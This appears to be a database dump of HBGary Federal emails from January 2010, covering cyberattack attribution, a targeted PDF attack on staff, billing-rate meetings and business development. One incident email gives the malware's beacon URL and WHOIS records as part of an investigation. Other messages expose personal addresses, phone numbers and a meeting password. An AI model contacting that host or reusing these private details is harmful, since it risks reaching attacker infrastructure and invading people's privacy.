<aaron@hbgary.com>','/aaron@hbgary.com/new/1297000246.M775151P3547Q1141.eml','\"Karen Burke\" <karenmaryburke@yahoo.com>','Re: Attribution re Google/China Hack Incident','It is very difficult to attribute attacks. &nbsp;Google is in a unique position to do so because of the infrastructure they manage, the data they collect, and where they manage it, google.cn is run out of china. &nbsp;The government has a more difficult time because they don\'t have that type of infrastructure. &nbsp;Plus attribution to make business decisions is a much lower threshold then the level of attribution necessary to make policy, economic, or military decisions.The reason it is difficult is because adversaries can use infrastructure in various parts of the world and hop through that infrastructure to hide their origination. &nbsp;They can use botnets, other hacked systems. &nbsp;In many cases they even use infrastructure that resides within our own boarders. &nbsp;So even if we say we can attribute the source to a country, was it state sponsored or was it some individual or group not associated with the government. &nbsp;These are russia and china claims.HBGary technology can assist in attribution. &nbsp;Our partnership with Palantir and likely others like Netwitness and EndGames will help to round out our ability to better attribute attacks. &nbsp;It is more difficult to hide the fingerprints that are left in code. &nbsp;Whether it be particular nuances such as a coder spells a certain word wrong, or he reuses a piece of code. &nbsp;These markers can identify disparate pieces of malware and help in threat intelligence and attribution. &nbsp;I have experience in some of the means/methods used to attempt attribution. &nbsp;It is really about knowledge management, data fusion and mining. &nbsp;But at this point the techniques and methods used have been very slow to put the information together.On the policy issue. &nbsp;We have to have a formal policy dealing with cyber threats and attacks. &nbsp;As long as there is no national cyber policy then we will not have an adequate means to respond. &nbsp;If we are attacked, who responds? &nbsp;What coordination and authorities are assigned. &nbsp;Under what conditions can we/do we use economic or political channels or military channels to respond. &nbsp;Under what circumstances can we attack using cyber, what authorities. &nbsp;Right now because there is no national policy each individual agency is managing cyber defense and attack under their own authorities. &nbsp;Coordination is somewhat happenstance.I think its a good idea. &nbsp;Let me put a little more together and send it to you for review.Aaron&nbsp;On Jan 14, 2010, at 12:31 PM, Karen Burke wrote:Hi Aaron, I wanted to see if you could provide your take on this week\'s Google/China cybersecurity incident. \r\n&nbsp;\r\nWhen we last spoke, you mentioned the importance of attribution -- that&nbsp;companies/government agencies&nbsp;need to be able to identify source of attacks to be able to respond.&nbsp;In some of the articles, experts say:\r\n&nbsp;\r\nIt is very difficult to attribute a cyberattack to a foreign government. (Is this true -- can we do it using HBGary\'s technology?&nbsp; Obviously, Google must have been able to do so. Do you have any experience in this area?)\r\n&nbsp;\r\nU.S. has no formal policy for dealing with foreign government-led threats against U.S. interests. (Is this true -- do you think we should have one?)\r\n&nbsp;\r\nPenny was thinking we could possibly pitch you as an expert on this topic or pull together a contributed article or speaking abstract to pitch you for some upcoming conferences.\r\n&nbsp;\r\nLet me know what you think. Thanks, Karen&nbsp;\r\n&nbsp;\r\n&nbsp;&nbsp;&nbsp;\r\n\r\n\r\n\r\n      \r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',7466,'aaron_hbgary_com/7466.html'),(1142,'2010-01-15','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1297000247.M2007P3547Q1142.eml','\"Penny Leavy\" <penny@hbgary.com>,greg@hbgary.com,\"Phil Wallisch\" <phil@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>','Targeted PDF attack - hit HBGary -','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAll,\r\n\r\n&nbsp;\r\n\r\nPenny received a fake purchase order from &#8220;GE&#8221;.&nbsp;\r\nBob opened the PDF on his machine because he was expecting a purchase order\r\nfrom them.&nbsp; The PDF that we received will beacon back to China after the PDF\r\nis opened up and looked at.&nbsp; Below is where the PDF reaches out to get an\r\nupdate.&nbsp; 221.9.252.12/rbin/update.php\r\n\r\n&nbsp;\r\n\r\nI&#8217;m meeting Bob for lunch to image his machine with\r\nFDPro and Encase to gather all facts.&nbsp; Has anyone else opened the pdf? &nbsp;&nbsp;&nbsp;More\r\nto come.&nbsp;&nbsp;&nbsp;&nbsp; \r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\ninetnum:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 221.8.0.0 -\r\n221.9.255.255\r\n\r\nnetname:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; UNICOM-JL\r\n\r\ndescr:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; China\r\nUnicom JILIN province network\r\n\r\ndescr:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; China\r\nUnicom\r\n\r\ncountry:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; CN\r\n\r\nadmin-c:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; CH1302-AP\r\n\r\ntech-c:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; WT92-AP\r\n\r\nremarks:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; service provider\r\n\r\nmnt-by:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; APNIC-HM\r\n\r\nmnt-lower:&nbsp;&nbsp;&nbsp; MAINT-CNCGROUP-JL\r\n\r\nmnt-routes:&nbsp;&nbsp; MAINT-CNCGROUP-RR\r\n\r\nchanged:&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;hm-changed@apnic.net\r\n20030211\r\n\r\nstatus:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ALLOCATED\r\nPORTABLE\r\n\r\nchanged:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; hm-changed@apnic.net\r\n20040301\r\n\r\nchanged:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; hm-changed@apnic.net\r\n20060124\r\n\r\nchanged:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; hm-changed@apnic.net\r\n20090508\r\n\r\nsource:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; APNIC\r\n\r\nroute:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n221.8.0.0/15\r\n\r\ndescr:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; CNC Group\r\nCHINA169 Jilin Province Network\r\n\r\ncountry:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; CN\r\n\r\norigin:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; AS4837\r\n\r\nmnt-by:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nMAINT-CNCGROUP-RR\r\n\r\nchanged:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; abuse@cnc-noc.net\r\n20060118\r\n\r\nsource:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; APNIC\r\n\r\nperson:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ChinaUnicom\r\nHostmaster\r\n\r\nnic-hdl:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; CH1302-AP\r\n\r\ne-mail: &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;abuse@chinaunicom.cn\r\n\r\naddress:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; No.21,Jin-Rong Street\r\n\r\naddress:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Beijing,100140\r\n\r\naddress:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; P.R.China\r\n\r\nphone:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n+86-10-66259940\r\n\r\nfax-no:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; +86-10-66259764\r\n\r\ncountry:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; CN\r\n\r\nchanged:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; abuse@chinaunicom.cn\r\n20090408\r\n\r\nmnt-by:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; MAINT-CNCGROUP\r\n\r\nsource:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; APNIC\r\n\r\nperson:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Wang Tiegang\r\n\r\nnic-hdl:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; WT92-AP\r\n\r\ne-mail:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\njhli_jl@mail.jl.cn\r\n\r\naddress:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; NO.3535,Renmin\r\nStreet, ChangChun ,\r\n\r\naddress:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Jilin province ,\r\n130021 , P.R. China\r\n\r\nphone:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n+86-431-5560792\r\n\r\nfax-no:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; +86-431-5560816\r\n\r\ncountry:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; CN\r\n\r\nchanged:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; jhli_jl@mail.jl.cn\r\n20060626\r\n\r\nmnt-by:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nMAINT-CNCGROUP-JL\r\n\r\nsource:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; APNIC\r\n\r\nBold: Object type.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',586,'aaron_hbgary_com/586.html'),(1143,'2010-01-15','\"Brian Christos\" <brian_christos@yahoo.com>','/aaron@hbgary.com/new/1297000247.M449687P3547Q1143.eml','\"Aaron Barr\" <aaron@hbgary.com>','Congrats on New Position','\r\n\r\n  \r\n\r\n  \r\n\r\n\r\n  \r\n  LinkedIn\r\n\r\n\r\nBrian Christos has sent you a message.\r\n\r\n\r\n  Date:\r\n  1/15/2010\r\n\r\n\r\n  Subject:\r\n  Congrats on New Position\r\n\r\n\r\n\r\n  Aaron,\r\n\r\nJust noticed the change in venue on linkedin.  You know I\'m at the WH providing security.  I would be interested in hearing the latest and greatest from HBGary.  Meet Rich Cumings a few months back.\r\n\r\nBrian\r\n\r\n\r\nView/reply to this message\r\n\r\nDon\'t want to receive e-mail notifications? Adjust your message settings.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n  &#169; 2010, LinkedIn Corporation\r\n\r\n\r\n\r\n',5799,'aaron_hbgary_com/5799.html'),(1144,'2010-01-15','\"John L. Cox, CPA\" <johncoxcpa@verizon.net>','/aaron@hbgary.com/new/1297000247.M651309P3547Q1144.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','RE: 2010 Commercial Billing Rates Fully Burdened','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHello Ted,\r\n\r\n&nbsp;\r\n\r\nI apologize but 1:00pm will not work.&nbsp; I have a computer person\r\narriving shortly and a truck arriving in the afternoon.&nbsp; Is late today or\r\ntomorrow a possibility?&nbsp; Please advise.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nJohn\r\nL. Cox, CPA\r\n\r\n12107 Faith Lane\r\n\r\nBowie, Maryland 20715\r\n\r\n(240)\r\n949-6022 Voice \r\n\r\n(866)\r\n750-1973 Fax\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nThis message contains information that may be confidential and\r\nprivileged. Unless you are the addressee (or authorized to receive for the\r\naddressee), you may not use, copy, print or disclose to anyone the message or\r\nany information contained in the message. If you have received this e-mail in\r\nerror, please advise the sender by reply and delete the message. Thank you.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Ted Vera\r\n[mailto:ted@hbgary.com] \r\nSent: Thursday, January 14, 2010 4:07 PM\r\nTo: John L. Cox, CPA\r\nSubject: Re: 2010 Commercial Billing Rates Fully Burdened\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nThat will work, thanks\r\nJohn!&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Jan 14, 2010, at 2:04 PM, &quot;John L. Cox, CPA&quot; &lt;johncoxcpa@verizon.net&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCan\r\nwe do it tomorrow at 1:00pm my time?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nJohn\r\nL. Cox, CPA\r\n\r\n12107\r\nFaith Lane\r\n\r\nBowie,\r\nMaryland 20715\r\n\r\n(240)\r\n949-6022 Voice \r\n\r\n(866)\r\n750-1973 Fax\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nThis\r\nmessage contains information that may be confidential and privileged. Unless\r\nyou are the addressee (or authorized to receive for the addressee), you may not\r\nuse, copy, print or disclose to anyone the message or any information contained\r\nin the message. If you have received this e-mail in error, please advise the\r\nsender by reply and delete the message. Thank you.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Ted Vera [mailto:ted@hbgary.com] \r\nSent: Thursday, January 14, 2010 4:02 PM\r\nTo: John L. Cox, CPA\r\nSubject: Re: 2010 Commercial Billing Rates Fully Burdened\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHi\r\nJohn,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nJust\r\nleft you a voicemail. &nbsp;I found out that Aaron has a call scheduled at this\r\ntime. &nbsp;Can we reschedule for 4:30 your time, or sometime tomorrow morning\r\n(after 10 your time?).\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nSorry\r\nfor the inconvenience,\r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nOn\r\nThu, Jan 14, 2010 at 12:28 PM, John L. Cox, CPA &lt;johncoxcpa@verizon.net&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\nYes, 4:00pm would be my time would be\r\nfine.&nbsp; I can set up go to meeting so you can see my computer as we discuss\r\ndeveloping billing rates (no cost to you).&nbsp; I cannot conference you in if\r\nthere are extension numbers so you will have to do that on your end.&nbsp; I\r\ncan, however, set up the gotomeeting for all to use. &nbsp;Please confirm.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nJohn L. Cox, CPA\r\n\r\n12107 Faith Lane\r\n\r\nBowie, Maryland 20715\r\n\r\n(240) 949-6022 Voice \r\n\r\n(866) 750-1973 Fax\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nThis message contains information that may\r\nbe confidential and privileged. Unless you are the addressee (or authorized to\r\nreceive for the addressee), you may not use, copy, print or disclose to anyone\r\nthe message or any information contained in the message. If you have received\r\nthis e-mail in error, please advise the sender by reply and delete the message.\r\nThank you.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: ted@hbgary.com [mailto:ted@hbgary.com] \r\nSent: Thursday, January 14, 2010 12:56 PM\r\nTo: johncoxcpa@verizon.net\r\nSubject: 2010 Commercial Billing Rates Fully Burdened\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n  \r\n  &lt;image001.jpg&gt;\r\n  \r\n  \r\n  I\'ve\r\n  shared 2010 Commercial Billing Rates Fully Burdened\r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nMessage from ted@hbgary.com: \r\n\r\nHi John,&nbsp;Can we schedule some time this afternoon to review this with you?&nbsp; Does 4pm your time work for you?&nbsp;Thanks,Ted\r\n\r\nClick to open: \r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n2010 Commercial Billing Rates Fully Burdened\r\n\r\n\r\nGoogle Docs makes it easy to\r\ncreate, store and share online documents, spreadsheets and presentations. \r\n\r\n&lt;image001.jpg&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal, Inc.\r\n719-237-8623\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11969,'aaron_hbgary_com/11969.html'),(1145,'2010-01-15','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000247.M873538P3547Q1145.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Congrats on New Position','From my iPhoneBegin forwarded message:From: Brian Christos &lt;brian_christos@yahoo.com&gt;\r\nDate: January 15, 2010 8:02:18 AM MSTTo: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Congrats on New Position\r\n\r\n\r\n\r\n  \r\n\r\n\r\n  \r\n  LinkedIn\r\n\r\n\r\nBrian Christos has sent you a message.\r\n\r\n\r\n  Date:\r\n  1/15/2010\r\n\r\n\r\n  Subject:\r\n  Congrats on New Position\r\n\r\n\r\n\r\n  Aaron,\r\n\r\nJust noticed the change in venue on linkedin.  You know I&#39;m at the WH providing security.  I would be interested in hearing the latest and greatest from HBGary.  Meet Rich Cumings a few months back.\r\n\r\nBrian\r\n\r\n\r\nView/reply to this message\r\n\r\n\r\nDon&#39;t want to receive e-mail notifications? Adjust your message settings.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n  © 2010, LinkedIn Corporation\r\n\r\n\r\n\r\n\r\n',13699,'aaron_hbgary_com/13699.html'),(1146,'2010-01-15','\"John L. Cox, CPA\" <johncoxcpa@verizon.net>','/aaron@hbgary.com/new/1297000248.M239723P3547Q1147.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','GoToMeeting','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nPlease join my meeting, Friday, January 15 at\r\n1:00 PM Eastern Standard Time.\r\n\r\nhttps://www2.gotomeeting.com/join/113507035\r\n\r\n&nbsp;\r\n\r\nMeeting Password: Rates\r\n\r\nMeeting ID: 113-507-035\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nJohn L. Cox, CPA\r\n\r\n12107\r\n  Faith Lane\r\n\r\nBowie, Maryland 20715\r\n\r\n(240) 949-6022 Voice \r\n\r\n(866) 750-1973 Fax\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nThis\r\nmessage contains information that may be confidential and privileged. Unless\r\nyou are the addressee (or authorized to receive for the addressee), you may not\r\nuse, copy, print or disclose to anyone the message or any information contained\r\nin the message. If you have received this e-mail in error, please advise the\r\nsender by reply and delete the message. Thank you.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',4001,'aaron_hbgary_com/4001.html'),(1147,'2010-01-15','ted@hbgary.com','/aaron@hbgary.com/new/1297000248.M453197P3547Q1148.eml','aaron@hbgary.com','Business Development','\r\n\r\nI\'ve shared Business Development\r\nMessage from ted@hbgary.com:\r\nHi Penny,\r\n\r\nJohn said spreadsheet format was fine.  He also said he didn&#39;t need a copy, just to send it to you.  Aaron and I are still have more to add, but I think what we&#39;ve got now may be sufficient for your needs.  Please advise.\r\n\r\nTed\r\nClick to open:\r\nBusiness Development\r\n\r\n\r\nGoogle Docs makes it easy to create, store and share online documents, spreadsheets and presentations.\r\n',1432,'aaron_hbgary_com/1432.html'),(1148,'2010-01-15','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000248.M58806P3547Q1146.eml','\"Karen Burke\" <karenmaryburke@yahoo.com>','Re: Attribution re Google/China Hack Incident','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n  \r\n\r\n/* default css */\r\n\r\ntable {\r\n  font-size: 1em;\r\n  line-height: inherit;\r\n  border-collapse: collapse;\r\n}\r\n\r\n\r\ntr {\r\n  \r\n  text-align: left;\r\n  \r\n}\r\n\r\n\r\ndiv, address, ol, ul, li, option, select {\r\n  margin-top: 0px;\r\n  margin-bottom: 0px;\r\n}\r\n\r\np {\r\n  margin: 0px;\r\n}\r\n\r\n\r\npre {\r\n  font-family: Courier New;\r\n  white-space: pre-wrap;\r\n  margin:0;\r\n}\r\n\r\nbody {\r\n  margin: 6px;\r\n  padding: 0px;\r\n  font-family: Verdana, sans-serif;\r\n  font-size: 10pt;\r\n  background-color: #ffffff;\r\n  color: #000;\r\n}\r\n\r\n\r\nimg {\r\n  -moz-force-broken-image-icon: 1;\r\n}\r\n\r\n@media screen {\r\n  html.pageview {\r\n    background-color: #f3f3f3 !important;\r\n    overflow-x: hidden;\r\n    overflow-y: scroll;\r\n  }\r\n\r\n  \r\n\r\n  body {\r\n    min-height: 1100px;\r\n    \r\n    counter-reset: __goog_page__;\r\n  }\r\n  * html body {\r\n    height: 1100px;\r\n  }\r\n  .pageview body {\r\n    border-top: 1px solid #ccc;\r\n    border-left: 1px solid #ccc;\r\n    border-right: 2px solid #bbb;\r\n    border-bottom: 2px solid #bbb;\r\n    width: 648px !important;\r\n    margin: 15px auto 25px;\r\n    padding: 40px 50px;\r\n  }\r\n  /* IE6 */\r\n  * html {\r\n    overflow-y: scroll;\r\n  }\r\n  * html.pageview body {\r\n    overflow-x: auto;\r\n  }\r\n  /* Prevent repaint errors when scrolling in Safari. This \"Star-7\" css hack\r\n     targets Safari 3.1, but not WebKit nightlies and presumably Safari 4.\r\n     That\'s OK because this bug is fixed in WebKit nightlies/Safari 4 :-). */\r\n  html*#wys_frame::before {\r\n    content: \'\\A0\';\r\n    position: fixed;\r\n    overflow: hidden;\r\n    width: 0;\r\n    height: 0;\r\n    top: 0;\r\n    left: 0;\r\n  }\r\n  \r\n\r\n  \r\n    \r\n    \r\n    .writely-callout-data {\r\n      display: inline-block;\r\n      width: 1px;\r\n      height: 1px;\r\n      overflow: hidden;\r\n      margin-left: -1px;\r\n    }\r\n    \r\n\r\n    .writely-footnote-marker {\r\n      background-image: url(\'images/footnote_doc_icon.gif\');\r\n      background-color: transparent;\r\n      background-repeat: no-repeat;\r\n      width: 7px;\r\n      overflow: hidden;\r\n      height: 16px;\r\n      vertical-align: top;\r\n\r\n      \r\n      -moz-user-select: none;\r\n    }\r\n    .editor .writely-footnote-marker {\r\n      cursor: move;\r\n    }\r\n    .writely-footnote-marker-highlight {\r\n      background-position: -15px 0;\r\n      -moz-user-select: text;\r\n    }\r\n    .writely-footnote-hide-selection ::-moz-selection, .writely-footnote-hide-selection::-moz-selection {\r\n      background: transparent;\r\n    }\r\n    .writely-footnote-hide-selection ::selection, .writely-footnote-hide-selection::selection {\r\n      background: transparent;\r\n    }\r\n    .writely-footnote-hide-selection {\r\n      cursor: move;\r\n    }\r\n\r\n    /* Comments */\r\n    .writely-comment-yellow {\r\n      background-color: #ffffd7;\r\n    }\r\n    .writely-comment-orange {\r\n      background-color: #ffe3c0;\r\n    }\r\n    .writely-comment-pink {\r\n      background-color: #ffd7ff;\r\n    }\r\n    .writely-comment-green {\r\n      background-color: #d7ffd7;\r\n    }\r\n    .writely-comment-blue {\r\n      background-color: #d7ffff;\r\n    }\r\n    .writely-comment-purple {\r\n      background-color: #eed7ff;\r\n    }\r\n\r\n  \r\n\r\n\r\n  \r\n  .br_fix span+br:not(:-moz-last-node) {\r\n    \r\n    position:relative;\r\n    \r\n    left: -1ex\r\n    \r\n  }\r\n\r\n  \r\n  #cb-p-tgt {\r\n    font-size: 8pt;\r\n    padding: .4em;\r\n    background-color: #ddd;\r\n    color: #333;\r\n  }\r\n  #cb-p-tgt-can {\r\n    text-decoration: underline;\r\n    color: #36c;\r\n    font-weight: bold;\r\n    margin-left: 2em;\r\n  }\r\n  #cb-p-tgt .spin {\r\n    width: 16px;\r\n    height: 16px;\r\n    background: url(//ssl.gstatic.com/docs/clipboard/spin_16o.gif) no-repeat;\r\n  }\r\n}\r\n\r\nh6 { font-size: 8pt }\r\nh5 { font-size: 8pt }\r\nh4 { font-size: 10pt }\r\nh3 { font-size: 12pt }\r\nh2 { font-size: 14pt }\r\nh1 { font-size: 18pt }\r\n\r\nblockquote {padding: 10px; border: 1px #DDD dashed }\r\n\r\n.webkit-indent-blockquote { border: none; }\r\n\r\na img {border: 0}\r\n\r\n.pb {\r\n  border-width: 0;\r\n  page-break-after: always;\r\n  /* We don\'t want this to be resizeable, so enforce a width and height\r\n     using !important */\r\n  height: 1px !important;\r\n  width: 100% !important;\r\n}\r\n\r\n.editor .pb {\r\n  border-top: 1px dashed #C0C0C0;\r\n  border-bottom: 1px dashed #C0C0C0;\r\n}\r\n\r\ndiv.google_header, div.google_footer {\r\n  position: relative;\r\n  margin-top: 1em;\r\n  margin-bottom: 1em;\r\n}\r\n\r\n\r\n/* Table of contents */\r\n.editor div.writely-toc {\r\n  background-color: #f3f3f3;\r\n  border: 1px solid #ccc;\r\n}\r\n.writely-toc > ol {\r\n  padding-left: 3em;\r\n  font-weight: bold;\r\n}\r\nol.writely-toc-subheading {\r\n  padding-left: 1em;\r\n  font-weight: normal;\r\n}\r\n/* IE6 only */\r\n* html writely-toc ol {\r\n  list-style-position: inside;\r\n}\r\n.writely-toc-none {\r\n  list-style-type: none;\r\n}\r\n.writely-toc-decimal {\r\n  list-style-type: decimal;\r\n}\r\n.writely-toc-upper-alpha {\r\n  list-style-type: upper-alpha;\r\n}\r\n.writely-toc-lower-alpha {\r\n  list-style-type: lower-alpha;\r\n}\r\n.writely-toc-upper-roman {\r\n  list-style-type: upper-roman;\r\n}\r\n.writely-toc-lower-roman {\r\n  list-style-type: lower-roman;\r\n}\r\n.writely-toc-disc {\r\n  list-style-type: disc;\r\n}\r\n\r\n/* Ordered lists converted to numbered lists can preserve ordered types, and\r\n   vice versa. This is confusing, so disallow it */\r\nul[type=\"i\"], ul[type=\"I\"], ul[type=\"1\"], ul[type=\"a\"], ul[type=\"A\"] {\r\n  list-style-type: disc;\r\n}\r\n\r\nol[type=\"disc\"], ol[type=\"circle\"], ol[type=\"square\"] {\r\n  list-style-type: decimal;\r\n}\r\n\r\n/* end default css */\r\n\r\n\r\n\r\n/* custom css */\r\n\r\n\r\n/* end custom css */\r\n\r\n/* ui edited css */\r\n\r\nbody {\r\n  font-family: Verdana;\r\n  \r\n  font-size: 10.0pt;\r\n  line-height: normal;\r\n  background-color: #ffffff;\r\n}\r\n/* end ui edited css */\r\n\r\n\r\n/* editor CSS */\r\n.editor a:visited {color: #551A8B}\r\n.editor table.zeroBorder {border: 1px dotted gray}\r\n.editor table.zeroBorder td {border: 1px dotted gray}\r\n.editor table.zeroBorder th {border: 1px dotted gray}\r\n\r\n\r\n.editor div.google_header, .editor div.google_footer {\r\n  border: 2px #DDDDDD dashed;\r\n  position: static;\r\n  width: 100%;\r\n  min-height: 2em;\r\n}\r\n\r\n.editor .misspell {background-color: yellow}\r\n\r\n.editor .writely-comment {\r\n  font-size: 9pt;\r\n  line-height: 1.4;\r\n  padding: 1px;\r\n  border: 1px dashed #C0C0C0\r\n}\r\n\r\n\r\n/* end editor CSS */\r\n\r\n\r\n\r\n  \r\n    function DoPageLoad() {\r\n      \r\n      window.TimeoutId = setTimeout(\'\');\r\n      parent.TIME_doc_load_full = new Date().getTime();\r\n    }\r\n  \r\n\r\nHere is some information I am working on. &nbsp;I need to weave in the threat intelligence, attribution, mission assurance.\r\n    \r\n    \r\n    \r\nCybersecurity Challenges:&nbsp;From a macroscopic view common themes discussed related to cybersecurity are meeting with significant organizational and bureaucratic road blocks.&nbsp; The public/private partnerhsip continues to be a challenge because of liabilities, offense informs defense is difficult to implement because of classification and contractual issues, data fusion and inter agency information sharing is happening slowly but not to the level required to detect, track, and mitigate the advanced threat.&nbsp; There are many organizational limitations to improved cybersecurity that at some point has be addressed.&nbsp;&nbsp;At a working level its about resources, their is a limited number of qualified and experienced cybersecurity professionals, and the organizations at all levels charted with cybersecurity lack adequate tools and process to effectively leverage the resources they have.&nbsp; The result is overburdened analysts and incident handlers that are working on a very small percentage of the problem set, almost entirely on existing identified threats.&nbsp; There is a lot of discussion about training, but training really isn\'t the answer, training with experience is more the answer, but difficult to enforce since most of the people that sit in our cybersecurity operations centers are contract personnel on a cost competitive contract with the government.&nbsp; So in most cybersecurity operations centers you have a few skilled and experienced analysts and incident handlers with a larger pool of less experienced personnel and no tools that really enhance the analysis process.&nbsp; So then the question must be asked how effective as a nation can we be in protecting against the advanced persistent threat.There are a set of capabilities, along with organizational and policy changes, that are needed to improve the state of cybersecurity; improved malware and threat analysis, knowledge and work flow management, situational awareness and visualization, and collaboration and communication.&nbsp; HBGary products address a portion of these and we are reaching out to other companies in the industry that address some of the other need areas, and attempting to put together a set of associated products that more effectively address the needs of our cybersecurity operations centers.Existing technology today, if more effectively implemented, would greatly enhance our nations capabilities in cybersecurity.&nbsp; As I mentioned, some of the impedance is organizational, but much is related to the proper implementation of technology and process. Unfortunately most companies developing the products are not providing the services to properly implement and mature these capabilities within the enterprise.&nbsp; This is why we formed HBGary Federal, we realized that the most effective application of our product in protecting national security would be to provide a few highly capable cybersecurity professionals with HBGary and partner tools, to the critical cybersecurity mission managers.Cyber defense is most effective if at some level those defending our networks have an understanding of the full spectrum of information operations.&nbsp; To this end HBGary Federal will build upon a strong set of Information Operations capabilities to answer direct customer needs, but to also bring that knowledge back to improve the cybersecurity product line as well as inform the cybersecurity professionals we are placing in the cybersecurity operations centers.\r\nOn Jan 14, 